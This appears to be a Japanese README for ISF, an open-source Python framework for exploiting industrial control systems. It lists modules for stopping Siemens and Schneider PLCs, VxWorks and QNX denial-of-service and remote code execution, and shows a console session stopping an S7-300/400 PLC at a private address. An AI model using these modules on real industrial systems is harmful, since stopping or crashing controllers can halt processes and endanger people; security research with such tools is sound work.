
ISF(Industrial Control System Exploitation Framework),Pythonベースのエクスプロイトフレームワーク。
ISF(Industrial Exploitation Framework)はPythonベースのエクスプロイテーションフレームワークで、metasploitフレームワークと類似しています。
ISFはオープンソースプロジェクト routersploit に基づいています。
事前の相互同意なしにターゲットを攻撃するためにISFを使用することは違法です。エンドユーザーは、該当するすべての地域、州、連邦法を遵守する責任を負います。 開発者は一切の責任を負わず、このプログラムの誤用や損害についても責任を負いません。
| 名前 | パス | 説明 |
|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Modbus-TCP クライアント |
| wdb2_client | icssploit/clients/wdb2_client.py | WdbRPC バージョン2 クライアント(Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | s7comm クライアント(S7 300/400 PLC) |
| 名前 | パス | 説明 |
|---|---|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | S7-300/400 PLC 起動/停止 |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | S7-1200 PLC 起動/停止/リセット |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Vxworks RPC リモートDoS(CVE-2015-7599) |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Schneider Quantum 140 シリーズPLC 起動/停止 |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | QNX Inetd TCP サービスDoS |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | QNX qconn リモートコード実行 |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Profinet DCP デバイスIP設定 |
| 名前 | パス | 説明 |
|---|---|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Profinet DCP スキャナ |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Vxworks 6.x スキャナ |
| s7comm_scan | scanners/s7comm_scan.py | S7comm スキャナ |
| enip_scan | scanners/enip_scan.py | EthernetIP スキャナ |
これらのプロトコルは、Kitty のような他のファジングフレームワークや、独自のクライアント作成に使用できます。
| 名前 | パス | 説明 |
|---|---|---|
| pn_dcp | icssploit/protocols/pn_dcp | Profinet DCP プロトコル |
| modbus_tcp | icssploit/protocols/modbus_tcp | Modbus TCP プロトコル |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | WDB RPC バージョン2 プロトコル |
| s7comm | icssploit/protocols/s7comm.py | S7comm プロトコル |
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py
root@kali:~/Desktop/temp/isf# python isf.py
_____ _____ _____ _____ _____ _ ____ _____ _______
|_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __|
| || | | (___| (___ | |__) | | | | | || | | |
| || | \___ \\___ \| ___/| | | | | || | | |
_| || |____ ____) |___) | | | |___| |__| || |_ | |
|_____\_____|_____/_____/|_| |______\____/_____| |_|
ICS Exploitation Framework
Note : ICSSPOLIT is fork from routersploit at
https://github.com/reverse-shell/routersploit
Dev Team : wenzhe zhu(dark-lbp)
Version : 0.1.0
Exploits: 2 Scanners: 0 Creds: 13
ICS Exploits:
PLC: 2 ICS Switch: 0
Software: 0
isf >
isf > use exploits/plcs/
exploits/plcs/siemens/ exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >
タブキーで補完できます。
isf (S7-300/400 PLC Control) > show options
Target options:
Name Current settings Description
---- ---------------- -----------
target Target address e.g. 192.168.1.1
port 102 Target Port
Module options:
Name Current settings Description
---- ---------------- -----------
slot 2 CPU slot number.
command 1 Command 0:start plc, 1:stop plc.
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >
isf (S7-300/400 PLC Control) > show info
Name:
S7-300/400 PLC Control
Description:
Use S7comm command to start/stop plc.
Devices:
- Siemens S7-300 and S7-400 programmable logic controllers (PLCs)
Authors:
- wenzhe zhu <jtrkid[at]gmail.com>
References:
isf (S7-300/400 PLC Control) >